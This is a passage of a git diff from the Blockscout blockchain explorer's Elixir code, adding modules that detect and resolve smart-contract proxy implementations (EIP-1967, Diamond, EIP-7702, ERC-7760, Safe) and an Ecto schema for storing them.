Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + # 0x5c60da1b = keccak256(implementation()) + @implementation_signature "0x5c60da1b" + + # obtained as bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1) + @storage_slot_logic_contract_address "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc" + # obtained as bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1) + @storage_slot_beacon_contract_address "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50" + + # to be precise, it is not the part of the EIP-1967 standard, but still uses the same pattern + # changes requested by https://github.com/blockscout/blockscout/issues/5292 + # This is the keccak-256 hash of "org.zeppelinos.proxy.implementation" + @storage_slot_openzeppelin_contract_address "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3" + + def quick_resolve_implementations(_proxy_address, proxy_type) do + storage_slot = + case proxy_type do + :eip1967 -> @storage_slot_logic_contract_address + :eip1967_oz -> @storage_slot_openzeppelin_contract_address + :eip1967_beacon -> @storage_slot_beacon_contract_address + _ -> nil + end + + if is_nil(storage_slot) do + nil + else + {:cont, + %{ + implementation_slot: {:storage, storage_slot} + }} + end + end + + def resolve_implementations(_proxy_address, proxy_type, prefetched_values) do + with {:ok, value} <- Map.fetch(prefetched_values, :implementation_slot), + {:ok, stored_address_hash} <- Proxy.extract_address_hash(value) do + if proxy_type == :eip1967_beacon do + with {:ok, value} <- Proxy.fetch_value({:call, @implementation_signature}, stored_address_hash), + {:ok, implementation_address_hash} <- Proxy.extract_address_hash(value) do + {:ok, [implementation_address_hash]} + end + else + {:ok, [stored_address_hash]} + end + else + :error -> :error + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_2535.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_2535.ex new file mode 100644 index 000000000000..80ae60c17f90 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_2535.ex @@ -0,0 +1,56 @@ +defmodule Explorer.Chain.SmartContract.Proxy.EIP2535 do + @moduledoc """ + Module for fetching proxy implementation from https://eips.ethereum.org/EIPS/eip-2535 (Diamond Proxy) + """ + + alias ABI.TypeDecoder + alias Explorer.Chain.{Data, Hash} + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + # 0x52ef6b2c = keccak256(facetAddresses()) + @facet_addresses_signature "0x52ef6b2c" + + @max_implementations_number_per_proxy 100 + + def quick_resolve_implementations(_proxy_address, _proxy_type), + do: + {:cont, + %{ + implementation_getter: {:call, @facet_addresses_signature} + }} + + def resolve_implementations(_proxy_address, _proxy_type, prefetched_values) do + with {:ok, value} <- Map.fetch(prefetched_values, :implementation_getter), + {:ok, address_hashes} <- extract_address_hashes(value) do + {:ok, address_hashes} + else + :error -> :error + _ -> nil + end + end + + # Decodes unique non-zero address hashes from raw smart-contract hex response + @spec extract_address_hashes(String.t() | nil) :: {:ok, [Hash.Address.t()]} | :error | nil + defp extract_address_hashes(value) do + with false <- is_nil(value), + {:ok, %Data{bytes: bytes}} <- Data.cast(value), + [all_address_hashes] when is_list(all_address_hashes) <- + (try do + TypeDecoder.decode_raw(bytes, [{:array, :address}]) + rescue + _ -> nil + end) do + {:ok, + all_address_hashes + |> Enum.reject(&(&1 == <<0::160>>)) + |> Enum.map(&(&1 |> Hash.Address.cast() |> elem(1))) + |> Enum.take(@max_implementations_number_per_proxy) + |> Enum.uniq()} + else + :error -> :error + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_7702.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_7702.ex new file mode 100644 index 000000000000..b7eb984ed49a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/eip_7702.ex @@ -0,0 +1,21 @@ +defmodule Explorer.Chain.SmartContract.Proxy.EIP7702 do + @moduledoc """ + Module for fetching EOA delegate from https://eips.ethereum.org/EIPS/eip-7702 + """ + + alias Explorer.Chain.Hash + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + def quick_resolve_implementations(proxy_address, _proxy_type \\ :eip7702) do + case proxy_address.contract_code && proxy_address.contract_code.bytes do + <<0xEF0100::3-unit(8), template_address::20-bytes>> -> + {:ok, template_address_hash} = Hash.Address.cast(template_address) + {:ok, [template_address_hash]} + + _ -> + nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/erc_7760.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/erc_7760.ex new file mode 100644 index 000000000000..5db8750ab491 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/erc_7760.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Chain.SmartContract.Proxy.ERC7760 do + @moduledoc """ + Module for fetching proxy implementation from https://github.com/ethereum/ERCs/blob/master/ERCS/erc-7760.md + """ + + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.{EIP1967, ResolverBehaviour} + + @behaviour ResolverBehaviour + + @transparent_basic_variant_20_left <<0x3D3D3373::4-unit(8)>> + @transparent_basic_variant_20_right <<0x14605757363D3D37363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E6052573D6000FD5B3D6000F35B3D356020355560408036111560525736038060403D373D3D355AF43D6000803E6052573D6000FD::824>> + @transparent_basic_variant_14_left <<0x3D3D336D::4-unit(8)>> + @transparent_basic_variant_14_right <<0x14605157363D3D37363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E604C573D6000FD5B3D6000F35B3D3560203555604080361115604C5736038060403D373D3D355AF43D6000803E604C573D6000FD::824>> + @transparent_i_variant_20_left <<0x3658146083573D3D3373::10-unit(8)>> + @transparent_i_variant_20_right <<0x14605D57363D3D37363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E6058573D6000FD5B3D6000F35B3D35602035556040360380156058578060403D373D3D355AF43D6000803E6058573D6000FD5B602060293D393D51543D52593DF3::928>> + @transparent_i_variant_14_left <<0x365814607D573D3D336D::10-unit(8)>> + @transparent_i_variant_14_right <<0x14605757363D3D37363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E6052573D6000FD5B3D6000F35B3D35602035556040360380156052578060403D373D3D355AF43D6000803E6052573D6000FD5B602060233D393D51543D52593DF3::928>> + @uups_basic_variant <<0x363D3D373D3D363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E6038573D6000FD5B3D6000F3::488>> + @uups_i_variant <<0x365814604357363D3D373D3D363D7F360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC545AF43D6000803E603E573D6000FD5B3D6000F35B6020600F3D393D51543D52593DF3::656>> + @beacon_basic_variant <<0x363D3D373D3D363D602036600436635C60DA1B60E01B36527FA3F0AD74E5423AEBFD80D3EF4346578335A9A72AEAEE59FF6CB3582B35133D50545AFA5036515AF43D6000803E604D573D6000FD5B3D6000F3::656>> + @beacon_i_variant <<0x363D3D373D3D363D602036600436635C60DA1B60E01B36527FA3F0AD74E5423AEBFD80D3EF4346578335A9A72AEAEE59FF6CB3582B35133D50545AFA361460525736515AF43D600060013E6052573D6001FD5B3D6001F3::696>> + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def quick_resolve_implementations(proxy_address, _proxy_type \\ :erc7760) do + eip1967_proxy_type = + case proxy_address.contract_code && proxy_address.contract_code.bytes do + <<@transparent_basic_variant_20_left, _::20-bytes, @transparent_basic_variant_20_right, _::binary>> -> + :eip1967 + + <<@transparent_basic_variant_14_left, _::14-bytes, @transparent_basic_variant_14_right, _::binary>> -> + :eip1967 + + <<@transparent_i_variant_20_left, _::20-bytes, @transparent_i_variant_20_right, _::binary>> -> + :eip1967 + + <<@transparent_i_variant_14_left, _::14-bytes, @transparent_i_variant_14_right, _::binary>> -> + :eip1967 + + @uups_basic_variant <> _ -> + :eip1967 + + @uups_i_variant <> _ -> + :eip1967 + + @beacon_basic_variant <> _ -> + :eip1967_beacon + + @beacon_i_variant <> _ -> + :eip1967_beacon + + _ -> + nil + end + + with false <- is_nil(eip1967_proxy_type), + {:cont, reqs} <- EIP1967.quick_resolve_implementations(proxy_address, eip1967_proxy_type), + resolvers_and_requirements = [{{EIP1967, eip1967_proxy_type}, reqs}], + {:ok, [{_, prefetched_values}]} <- Proxy.prefetch_values(resolvers_and_requirements, proxy_address.hash), + {:ok, address_hashes} <- EIP1967.resolve_implementations(proxy_address, eip1967_proxy_type, prefetched_values) do + {:ok, address_hashes} + else + :error -> :error + # proceed to other proxy types only if bytecode doesn't match + true -> nil + # if bytecode matches but resolution fails, we should halt + _ -> {:ok, []} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/master_copy.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/master_copy.ex new file mode 100644 index 000000000000..a6c91dfaf909 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/master_copy.ex @@ -0,0 +1,45 @@ +defmodule Explorer.Chain.SmartContract.Proxy.MasterCopy do + @moduledoc """ + Module for fetching master-copy proxy implementation + """ + + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + # All known Safe Proxy bytecodes + # Proxy factory addresses are fetched from https://github.com/safe-global/safe-deployments/tree/main/src/assets + # Bytecodes are fetched from contract instances created by those factories + @safe_proxy_v1_0_0 <<0x608060405273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF600054163660008037600080366000845AF43D6000803E6000811415603D573D6000FD5B3D6000F3FEA165627A7A723058201E7D648B83CFAC072CBCCEFC2FFC62A6999D4A050EE87A721942DE1DA9670DB80029::880>> + @safe_proxy_v1_1_1 <<0x608060405273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF600054167FA619486E0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000F35B3660008037600080366000845AF43D6000803E60008114156070573D6000FD5B3D6000F3FEA265627A7A72315820D8A00DC4FE6BF675A9D7416FC2D00BB3433362AA8186B750F76C4027269667FF64736F6C634300050E0032::1360>> + @safe_proxy_v1_3_0 <<0x608060405273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF600054167FA619486E0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000F35B3660008037600080366000845AF43D6000803E60008114156070573D6000FD5B3D6000F3FEA2646970667358221220D1429297349653A4918076D650332DE1A1068C5F3E07C5C82360C277770B955264736F6C63430007060033::1368>> + @safe_proxy_v1_3_0_zksync <<0x000400000000000200000000030100190000006003300270000000360430019700030000004103550002000000010355000000360030019D000100000000001F0000008001000039000000400010043F0000000101200190000000150000C13D000000000100041A00000037021001970000000201000367000000000301043B0000003D0330009C000000590000C13D00000000002004350000003E01000041000000D20001042E0000000001000416000000000110004C000000570000C13D0000000203000367000000400100043D00000000020000310000001F0420018F0000000505200272000000270000613D000000000600001900000005076002100000000008710019000000000773034F000000000707043B00000000007804350000000106600039000000000756004B0000001F0000413D000000000640004C000000360000613D0000000505500210000000000353034F00000000055100190000000304400210000000000605043300000000064601CF000000000646022F000000000303043B0000010004400089000000000343022F00000000034301CF000000000363019F00000000003504350000000003120019000000400030043F000000200220008C000000570000413D00000000010104330000003701100198000000BD0000C13D00000064013000390000003A02000041000000000021043500000044013000390000003B0200004100000000002104350000002401300039000000220200003900000000002104350000003C010000410000000000130435000000040130003900000020020000390000000000210435000000400100043D000000000213004900000084022000390000003603000041000000360420009C0000000002038019000000360410009C000000000103801900000040011002100000006002200210000000000112019F000000D3000104300000000001000019000000D30001043000000000030000310000001F0430018F0000000503300272000000650000613D00000000050000190000000506500210000000000761034F000000000707043B00000000007604350000000105500039000000000635004B0000005E0000413D000000000540004C000000730000613D00000003044002100000000503300210000000000503043300000000054501CF000000000545022F000000000131034F000000000101043B0000010004400089000000000141022F00000000014101CF000000000151019F000000000013043500000000010000310000000003000414000000040420008C000000930000C13D000000030100036700000001020000310000001F0320018F0000000502200272000000840000613D00000000040000190000000505400210000000000651034F000000000606043B00000000006504350000000104400039000000000524004B0000007D0000413D000000000430004C000000BA0000613D00000003033002100000000502200210000000000402043300000000043401CF000000000434022F000000000121034F000000000101043B0000010003300089000000000131022F00000000013101CF000000000141019F0000000000120435000000BA0000013D0000003604000041000000360530009C0000000003048019000000C0033002100000006001100210000000000113001900D100CC0000040F0003000000010355000000000301001900000060043002700000001F0340018F000100360040019D00000036044001970000000504400272000000AA0000613D00000000050000190000000506500210000000000761034F000000000707043B00000000007604350000000105500039000000000645004B000000A30000413D000000000530004C000000B80000613D00000003033002100000000504400210000000000504043300000000053501CF000000000535022F000000000141034F000000000101043B0000010003300089000000000131022F00000000013101CF000000000151019F00000000001404350000000101200190000000C60000613D000000600100003900000001011001FF000000D20001042E000000000200041A0000003802200197000000000112019F000000000010041B0000002001000039000001000010044300000120000004430000003901000041000000D20001042E00000036010000410000000102000031000000360320009C00000000010240190000006001100210000000D300010430000000CF002104250000000102000039000000000001042D0000000002000019000000000001042D000000D100000432000000D20001042E000000D300010430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000002000000000000000000000000000000400000010000000000000000006564000000000000000000000000000000000000000000000000000000000000496E76616C69642073696E676C65746F6E20616464726573732070726F76696408C379A000000000000000000000000000000000000000000000000000000000A619486E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ACBE897875BB4F3E88089713FAB44968F091FDEB912D0AFADD2FE5700E4E0CC6::16640>> + @safe_proxy_v1_4_1 <<0x608060405273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF600054167FA619486E0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000F35B3660008037600080366000845AF43D6000803E60008114156070573D6000FD5B3D6000F3FEA264697066735822122003D1488EE65E08FA41E58E888A9865554C535F2C77126A82CB4C0F917F31441364736F6C63430007060033::1368>> + @safe_proxy_v1_4_1_zksync <<0x00010000000000020000008004000039000000400040043F000000000301001900000060033002700000002E033001970000000100200190000000100000C13D000000000200041A0000003002200197000000000401043B000000360040009C0000004B0000C13D000000000020043F0000003701000041000000B40001042E0000000002000416000000000002004B000000490000C13D0000001F0530018F0000002F0630019800000080026000390000001C0000613D000000000701034F000000007807043C0000000004840436000000000024004B000000180000C13D000000000005004B000000290000613D000000000161034F0000000304500210000000000502043300000000054501CF000000000545022F000000000101043B0000010004400089000000000141022F00000000014101CF000000000151019F00000000001204350000008001300039000000400010043F000000200030008C000000490000413D000000800200043D0000003002200198000000A30000C13D00000033020000410000000000210435000000E40130003900000034020000410000000000210435000000C40130003900000035020000410000000000210435000000A40130003900000022020000390000000000210435000000840130003900000020020000390000000000210435000000400100043D000000000213004900000104022000390000002E0020009C0000002E0200804100000060022002100000002E0010009C0000002E010080410000004001100210000000000112019F000000B5000104300000000001000019000000B5000104300000001F0530018F0000002F04300198000000540000613D000000000601034F0000000007000019000000006806043C0000000007870436000000000047004B000000500000C13D000000000005004B000000610000613D000000000641034F0000000305500210000000000704043300000000075701CF000000000757022F000000000606043B0000010005500089000000000656022F00000000055601CF000000000575019F00000000005404350000000004000414000000040020008C0000007D0000C13D000000000331034F000000000100003100000038021001980000001F0410018F0000006F0000613D000000000503034F0000000006000019000000005705043C0000000006760436000000000026004B0000006B0000C13D000000000004004B0000009F0000613D000000000323034F0000000304400210000000000502043300000000054501CF000000000545022F000000000303043B0000010004400089000000000343022F00000000034301CF000000000353019F00000000003204350000009F0000013D00000060013002100000002E0040009C0000002E04008041000000C003400210000000000113019F00B300AE0000040F000000000301001900000060033002700000001F0530018F0000002E0030019D0000002F043001980000008F0000613D000000000601034F0000000007000019000000006806043C0000000007870436000000000047004B0000008B0000C13D000000000005004B0000009C0000613D000000000141034F0000000305500210000000000604043300000000065601CF000000000656022F000000000101043B0000010005500089000000000151022F00000000015101CF000000000161019F00000000001404350000002E013001970000000100200190000000AC0000613D0000002E0010009C0000002E010080410000006001100210000000B40001042E000000000100041A0000003101100197000000000121019F000000000010041B0000002001000039000001000010044300000120000004430000003201000041000000B40001042E0000006001100210000000B500010430000000B1002104250000000102000039000000000001042D0000000002000019000000000001042D000000B300000432000000B40001042E000000B5000104300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF00000000000000000000000000000000000000000000000000000000FFFFFFE0000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000020000000000000000000000000000004000000100000000000000000008C379A0000000000000000000000000000000000000000000000000000000006564000000000000000000000000000000000000000000000000000000000000496E76616C69642073696E676C65746F6E20616464726573732070726F766964A619486E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE000000000000000000000000000000000000000000000000000000000000000004D3D6AC1CA9BD3D9AB93E603DE7967DA33803409D7B4500E28F36CE7E4DD5A21::15104>> + @safe_proxy_v1_5_0 <<0x608060405260005463A619486E60003560E01C14156024578060601B606C5260206060F35B3660008037600080366000845AF43D6000803E806040573D6000FD5B3D6000F3FEA2646970667358221220E61834EBD2D8CD909D362BF67C47EF58FD665DF38E6DD036CE65611101D072E964736F6C63430007060033::984>> + + def quick_resolve_implementations(proxy_address, _proxy_type) do + with true <- + proxy_address.contract_code && + proxy_address.contract_code.bytes in [ + @safe_proxy_v1_0_0, + @safe_proxy_v1_1_1, + @safe_proxy_v1_3_0, + @safe_proxy_v1_3_0_zksync, + @safe_proxy_v1_4_1, + @safe_proxy_v1_4_1_zksync, + @safe_proxy_v1_5_0 + ], + {:ok, value} <- Proxy.fetch_value({:storage, "0x0"}, proxy_address.hash), + {:ok, address_hash} <- Proxy.extract_address_hash(value) do + {:ok, [address_hash]} + else + :error -> :error + # proceed to other proxy types only if bytecode doesn't match + false -> nil + # if bytecode matches but resolution fails, we should halt + _ -> {:ok, []} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/models/implementation.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/models/implementation.ex new file mode 100644 index 000000000000..f94085581b7e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/models/implementation.ex @@ -0,0 +1,666 @@ +defmodule Explorer.Chain.SmartContract.Proxy.Models.Implementation do + @moduledoc """ + The representation of proxy smart-contract implementation. + """ + + require Logger + + use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Ecto.Query, + only: [ + from: 2, + select: 3, + where: 3 + ] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash, SmartContract} + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.EIP7702 + alias Timex.Duration + + @proxy_types [ + :eip1167, + :eip1967, + :eip1822, + :eip1967_oz, + :eip1967_beacon, + :master_copy, + :basic_implementation, + :basic_get_implementation, + :comptroller, + :eip2535, + :clone_with_immutable_arguments, + :eip7702, + :resolved_delegate_proxy, + :erc7760 + ] + + @typedoc """ + * `proxy_address_hash` - proxy `smart_contract` address hash. + * `proxy_type` - type of the proxy. + * `address_hashes` - array of implementation `smart_contract` address hashes. Proxy can contain multiple implementations at once. + * `names` - array of implementation `smart_contract` names. + """ + @primary_key false + typed_schema "proxy_implementations" do + field(:proxy_address_hash, Hash.Address, primary_key: true, null: false) + + # the order matches order of enum values in the DB + field(:proxy_type, Ecto.Enum, values: @proxy_types, null: true) + + field(:address_hashes, {:array, Hash.Address}, null: false) + field(:names, {:array, :string}, null: false) + field(:conflicting_proxy_types, {:array, Ecto.Enum}, values: @proxy_types, null: true) + field(:conflicting_address_hashes, {:array, {:array, Hash.Address}}, null: true) + + has_many(:addresses, Address, foreign_key: :hash, references: :address_hashes) + has_many(:smart_contracts, SmartContract, foreign_key: :address_hash, references: :address_hashes) + has_many(:conflicting_addresses, Address, foreign_key: :hash, references: :conflicting_address_hashes) + + belongs_to( + :address, + Address, + foreign_key: :proxy_address_hash, + references: :hash, + define_field: false + ) + + timestamps() + end + + def changeset(%__MODULE__{} = proxy_implementation, attrs) do + proxy_implementation + |> cast(attrs, [ + :proxy_address_hash, + :proxy_type, + :address_hashes, + :names, + :conflicting_proxy_types, + :conflicting_address_hashes + ]) + |> validate_required([ + :proxy_address_hash, + :address_hashes, + :names + ]) + |> unique_constraint([:proxy_address_hash]) + end + + @doc """ + Returns all implementations for the given smart-contract address hash + """ + @spec get_proxy_implementations(Hash.Address.t() | nil, Keyword.t()) :: __MODULE__.t() | nil + def get_proxy_implementations(proxy_address_hash, options \\ []) do + proxy_address_hash + |> get_proxy_implementations_query() + |> Chain.select_repo(options).one() + end + + @doc """ + Returns all implementations for the given smart-contract address hashes + """ + @spec get_proxy_implementations_for_multiple_proxies([Hash.Address.t()], Keyword.t()) :: [__MODULE__.t()] + def get_proxy_implementations_for_multiple_proxies(proxy_address_hashes, options \\ []) + + def get_proxy_implementations_for_multiple_proxies([], _), do: [] + + def get_proxy_implementations_for_multiple_proxies(proxy_address_hashes, options) do + proxy_address_hashes + |> get_proxy_implementations_by_multiple_hashes_query() + |> Chain.select_repo(options).all() + end + + @doc """ + Returns the last implementation updated_at for the given smart-contract address hash + """ + @spec get_proxy_implementation_updated_at(Hash.Address.t() | nil, Keyword.t()) :: DateTime.t() | nil + def get_proxy_implementation_updated_at(proxy_address_hash, options) do + proxy_address_hash + |> get_proxy_implementations_query() + |> select([p], p.updated_at) + |> Chain.select_repo(options).one() + end + + defp get_proxy_implementations_query(proxy_address_hash) do + from( + p in __MODULE__, + where: p.proxy_address_hash == ^proxy_address_hash + ) + end + + defp get_proxy_implementations_by_multiple_hashes_query(proxy_address_hashes) do + from( + p in __MODULE__, + where: p.proxy_address_hash in ^proxy_address_hashes + ) + end + + @doc """ + Returns implementation address, name and proxy type for the given SmartContract + """ + @spec get_implementation(any(), any()) :: t() | nil + def get_implementation(smart_contract, options \\ []) + + def get_implementation( + %SmartContract{metadata_from_verified_bytecode_twin: true} = smart_contract, + options + ) do + get_implementation( + %{ + updated: smart_contract, + implementation_updated_at: nil, + implementation_address_fetched?: false, + refetch_necessity_checked?: false + }, + options + ) + end + + def get_implementation( + %SmartContract{ + address_hash: address_hash + } = smart_contract, + options + ) do + implementation_updated_at = get_proxy_implementation_updated_at(address_hash, options) + + {updated_smart_contract, implementation_address_fetched?} = + if check_implementation_refetch_necessity(implementation_updated_at) do + {smart_contract_with_bytecode_twin, implementation_address_fetched?} = + SmartContract.address_hash_to_smart_contract_with_bytecode_twin(address_hash, options) + + if smart_contract_with_bytecode_twin do + {smart_contract_with_bytecode_twin, implementation_address_fetched?} + else + {smart_contract, implementation_address_fetched?} + end + else + if implementation_updated_at do + {smart_contract, true} + else + {smart_contract, false} + end + end + + get_implementation( + %{ + updated: updated_smart_contract, + implementation_updated_at: implementation_updated_at, + implementation_address_fetched?: implementation_address_fetched?, + refetch_necessity_checked?: true + }, + options + ) + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def get_implementation( + %{ + updated: %SmartContract{ + address_hash: address_hash + }, + implementation_updated_at: implementation_updated_at, + implementation_address_fetched?: implementation_address_fetched?, + refetch_necessity_checked?: refetch_necessity_checked? + }, + options + ) do + proxy_implementations = get_proxy_implementations(address_hash, options) + + implementation_updated_at = implementation_updated_at || (proxy_implementations && proxy_implementations.updated_at) + + if fetch_implementation?(implementation_address_fetched?, refetch_necessity_checked?, implementation_updated_at) do + get_implementation_address_hash_task = + Task.async(fn -> + # Here and only here we fetch implementations for the given address + # using requests to the JSON RPC node for known proxy patterns + result = Proxy.fetch_implementation_address_hash(address_hash, options) + + callback = Keyword.get(options, :callback, nil) + uid = Keyword.get(options, :uid) + + callback && callback.(result, uid) + + result + end) + + timeout = + Keyword.get(options, :timeout, Application.get_env(:explorer, :proxy)[:implementation_data_fetching_timeout]) + + case Task.yield(get_implementation_address_hash_task, timeout) || + Task.ignore(get_implementation_address_hash_task) do + {:ok, :empty} -> + nil + + {:ok, :error} -> + proxy_implementations + + {:ok, %__MODULE__{} = result} -> + result + + _ -> + proxy_implementations + end + else + proxy_implementations + end + end + + def get_implementation(_, _), do: nil + + defp fetch_implementation?(implementation_address_fetched?, refetch_necessity_checked?, implementation_updated_at) do + (!implementation_address_fetched? || !refetch_necessity_checked?) && + check_implementation_refetch_necessity(implementation_updated_at) + end + + @doc """ + Function checks by timestamp if new implementation fetching needed + """ + @spec check_implementation_refetch_necessity(Calendar.datetime() | nil) :: boolean() + def check_implementation_refetch_necessity(nil), do: true + + def check_implementation_refetch_necessity(timestamp) do + if Application.get_env(:explorer, :proxy)[:caching_implementation_data_enabled] do + now = DateTime.utc_now() + + fresh_time_distance = get_fresh_time_distance() + + timestamp + |> DateTime.add(fresh_time_distance, :millisecond) + |> DateTime.compare(now) != :gt + else + true + end + end + + @doc """ + Returns time interval in milliseconds in which fetched proxy info is not needed to be refetched + """ + @spec get_fresh_time_distance() :: integer() + def get_fresh_time_distance do + average_block_time = get_average_block_time_for_implementation_refetch() + + case average_block_time do + 0 -> + Application.get_env(:explorer, :proxy)[:fallback_cached_implementation_data_ttl] + + time -> + round(time) + end + end + + defp get_average_block_time_for_implementation_refetch do + if Application.get_env(:explorer, :proxy)[:implementation_data_ttl_via_avg_block_time] do + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> + 0 + + duration -> + duration + |> Duration.to_milliseconds() + end + else + 0 + end + end + + @doc """ + Saves proxy's implementation into the DB + """ + @spec save_implementation_data( + %{ + proxy_address_hash: Hash.Address.t(), + address_hashes: [Hash.Address.t()], + proxy_type: atom() | nil, + conflicting_proxy_types: [atom()] | nil, + conflicting_address_hashes: [[Hash.Address.t()]] | nil + }, + Keyword.t() + ) :: __MODULE__.t() | :error + def save_implementation_data(proxy_implementations, options) do + query = + from( + address in Address, + where: address.hash in ^proxy_implementations.address_hashes, + left_join: s1 in assoc(address, :smart_contract), + left_join: s2 in SmartContract, + on: fragment("md5(?)", address.contract_code) == s2.contract_code_md5 and is_nil(s1), + select: {address.hash, fragment("COALESCE(?, ?)", s1.name, s2.name)} + ) + + implementation_names_map = + query + |> Chain.select_repo(options).all() + |> Enum.into(%{}) + + implementation_names = proxy_implementations.address_hashes |> Enum.map(&Map.get(implementation_names_map, &1)) + + case upsert_implementations(proxy_implementations |> Map.put(:names, implementation_names)) do + {:ok, result} -> + result + + {:error, error} -> + Logger.error("Error while upserting proxy implementations data into the DB: #{inspect(error)}") + :error + end + end + + @spec upsert_implementations(%{ + proxy_address_hash: Hash.Address.t(), + address_hashes: [Hash.Address.t()], + proxy_type: atom() | nil, + conflicting_proxy_types: [atom()] | nil, + conflicting_address_hashes: [[Hash.Address.t()]] | nil, + names: [String.t()] + }) :: {:ok, Ecto.Schema.t()} | {:error, Ecto.Changeset.t()} + defp upsert_implementations(proxy_implementations) do + %__MODULE__{} + |> changeset(proxy_implementations) + |> Repo.insert(on_conflict: on_conflict(), conflict_target: [:proxy_address_hash], allow_stale: true) + end + + defp on_conflict do + from( + proxy_implementations in __MODULE__, + update: [ + set: [ + proxy_type: fragment("EXCLUDED.proxy_type"), + address_hashes: fragment("EXCLUDED.address_hashes"), + names: fragment("EXCLUDED.names"), + conflicting_proxy_types: fragment("EXCLUDED.conflicting_proxy_types"), + conflicting_address_hashes: fragment("EXCLUDED.conflicting_address_hashes"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", proxy_implementations.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", proxy_implementations.updated_at) + ] + ], + where: + fragment("EXCLUDED.proxy_type <> ?", proxy_implementations.proxy_type) or + fragment("EXCLUDED.address_hashes <> ?", proxy_implementations.address_hashes) or + fragment("EXCLUDED.names <> ?", proxy_implementations.names) or + fragment("EXCLUDED.conflicting_proxy_types IS DISTINCT FROM ?", proxy_implementations.conflicting_proxy_types) or + fragment( + "EXCLUDED.conflicting_address_hashes IS DISTINCT FROM ?", + proxy_implementations.conflicting_address_hashes + ) + ) + end + + @doc """ + Deletes all proxy implementations associated with the given proxy address hashes. + + ## Parameters + + - `address_hashes` (binary): The list of proxy address hashes whose implementations + should be deleted. + + ## Returns + + - `{count, nil}`: A tuple where `count` is the number of records deleted. + + This function uses a query to find all proxy implementations matching the + provided `address_hashes` and deletes them from the database. + """ + @spec delete_implementations([Hash.Address.t()]) :: {non_neg_integer(), nil} + def delete_implementations(address_hashes) do + __MODULE__ + |> where([proxy_implementations], proxy_implementations.proxy_address_hash in ^address_hashes) + |> Repo.delete_all() + end + + @doc """ + Upserts multiple EIP-7702 proxy records for given addresses. + + ## Parameters + + - `addresses`: The list of addresses to upsert EIP-7702 proxy records for. + + ## Returns + + - `{count, nil}`: A tuple where `count` is the number of records updated. + """ + @spec upsert_eip7702_implementations([Address.t()]) :: {non_neg_integer(), nil | []} + def 